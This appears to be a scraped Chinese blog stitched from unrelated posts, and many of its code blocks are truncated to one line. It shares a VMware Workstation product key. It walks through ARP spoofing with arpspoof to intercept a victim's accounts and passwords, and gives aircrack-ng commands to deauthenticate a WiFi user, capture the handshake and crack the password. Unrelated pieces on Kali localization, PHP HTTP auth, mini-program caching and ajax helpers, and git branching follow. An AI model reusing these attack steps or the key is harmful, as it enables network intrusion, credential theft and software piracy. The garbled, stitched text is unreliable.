下载地址:https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html
产品秘钥:
1 | ZF3R0-FHED2-M80TY-8QYGC-NPKYF |
下载地址:https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html
产品秘钥:
1 | ZF3R0-FHED2-M80TY-8QYGC-NPKYF |
arpspoof 是一款进行arp欺骗的工具,攻击者可以通过它来毒化受害者arp缓存,将网关mac替换为攻击者mac,然后攻击者可截获受害者发送和收到的数据包,可获取受害者账户、密码等相关敏感信息。ARP欺骗,是让目标主机的流量经过主机的网卡,再从网关出去,而网关也会把原本流入目标机的流量经过我得电脑。
1 | Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host |
在实验之前我们首先要知道ARP断网攻击是局域网攻击,我们要保证目标主机必须和自己处于一个局域网内,且自己和目标主机网络应该是通的。
首先可以使用 nmap 扫描局域网中存活的地址,探测到的存活地址,就是我们的目标主机,然后使用 arpspoof 实施 ARP 欺骗。
在使用arp欺骗前先开启Kali的IP转发
链接目标机查看一下网络状态
使用 ettercap 对数据进行抓取
在 Kali 的桌面按下 Ctrl+Alt+T 打开终端
使用 root 权限执行 sudo dpkg-reconfigure locales
选中 en_US.UTF-8 UTF-8 和 zh_CN.UTF-8 UTF-8 (注意:按下空格键选中,选好后按下TAB键退出编码格式选项,跳到OK选项)
选择 zh_CN.UTF-8,选择OK
在终端键入reboot
, 重启Kali
重启Kali后, 建议选择保留旧的名称
此时可以看到界面已经汉化完成了!
Example #1 Basic HTTP 认证范例
1 | <?php |
Example #2 Digest HTTP 认证范例
1 | <?php |
Example #3 强迫重新输入用户名和密码的 HTTP 认证的范例
1 | <?php |
Aircrack-ng是一个基于WiFi无线网络分析有关的安全软件,主要功能有网络侦测、数据包嗅探、WEP和WPA/WPA2-PSK破解等。
因为安全性的原因。现在,周围很少有用WEP算法来加密的WiFi密码,不过基本命令都很相似。
WiFi网络构成
1 | iwconfig |
1 | airmon-ng start wlan0 |
1 | airodump-ng -c 6 -bssid 64:6E:97:DA:39:5C -w thomas wlan0 |
扫描到的WiFi热点信息
使已连接WiFi的用户A强制下线,之后A会向WiFi路由重新发送一个带密码的请求握手包
1 | aireplay-ng -0 2 -a 64:6E:97:DA:39:5C -c C2:46:34:ED:48:4C wlan0 |
出现 WAP handshake
表示已经获取到了握手包,下面就可以实现破解了
1 | aircrack-ng -w pass.txt thomas-01.cap |
关于密码破解,可以使用kali自带的hashcat使效率大大增加
1 | aircrack-ng [抓取到的握手包文件名] -J [转换后的文件名] |
参数: -m 2500为破解的模式为WPA/PSK方式 hccap格式的文件是刚刚转化好的文件 字典文件
注:最新版hashcat一般情况下不支持hccap格式,第一步需将握手包cap格式转换为hccapx
model层就不用多说了,主要是把数据处理部分独立出来,便于统一服务和维护,这里重点强调下model内部的实现细节,这里有一个实现技巧可以用在其它别的地方。下面直接上代码部分。
1 | import cache from '../utils/cache.js' |
1 | import goods from '../../models/goods.js' |
formatParams
, formatResult
formatParams
, formatResult
,如果不做特殊处理,直接使用默认即可(建议不处理也调用下默认方法,规范流程)get
, add
, update
, del
开头这个思路其实可以运用到任何场景,特别是在没有任何限定框架的场景,我们只需要按照这个模式去实现,代码一样很清晰漂亮。
其实,小程序自带了缓存接口,有同步 wx.setStorageSync
,异步 wx.setStorage
的方法,但是实际在使用缓存的场景里,我们一般都是需要设置缓存有效时间的,本cache工具就是对小程序缓存接口的封装,实现了对缓存有效期的支持。
1 | module.exports = { |
1 | import cache from '../utils/cache.js' |
实现了 promise 的封装,支持GET、POST、PUT 和DELELE这里设计的时候就确定为仅满足单项目通用即可,所以实现的时候融入了部分业务层面的逻辑:
所以省去了业务调用侧的反复判断处理通用逻辑,使用更简洁。
1 | var host = "http://www.baidu.com"; |
1 | import ajax from '../utils/ajax.js' |
本文用于介绍 GIT分支模型的策略与发布。
在git分支模型中我们一般会用到如下四种分支:
分别使用4个种类的分支来进行开发的。
主分支有两种:master分支和develop分支
特性分支就是我们在前面讲解过的topic分支的功用。
这个分支是针对新功能的开发,在bug修正的时候从develop分支分叉出来的。基本上不需要共享特性分支的操作,所以不需要远端控制。完成开发后,把分支合并回develop分支后发布。
release分支是为release做准备的。通常会在分支名称的最前面加上release-。release前需要在这个分支进行最后的调整,而且为了下一版release开发用develop分支的上游分支。
一般的开发是在develop分支上进行的,到了可以发布的状态时再创建release分支,为release做最后的bug修正。
到了可以release的状态时,把release分支合并到master分支,并且在合并提交里添加release版本号的标签。
要导入在release分支所作的修改,也要合并回develop分支。
hotFix分支是在发布的产品需要紧急修正时,从master分支创建的分支。通常会在分支名称的最前面加上 hotfix-
。
例如,在develop分支上的开发还不完整时,需要紧急修改。这个时候在develop分支创建可以发布的版本要花许多的时间,所以最好选择从master分支直接创建分支进行修改,然后合并分支。
修改时创建的hotFix分支要合并回develop分支。
1 | /** |
调用方法
1 | // 设置目录 |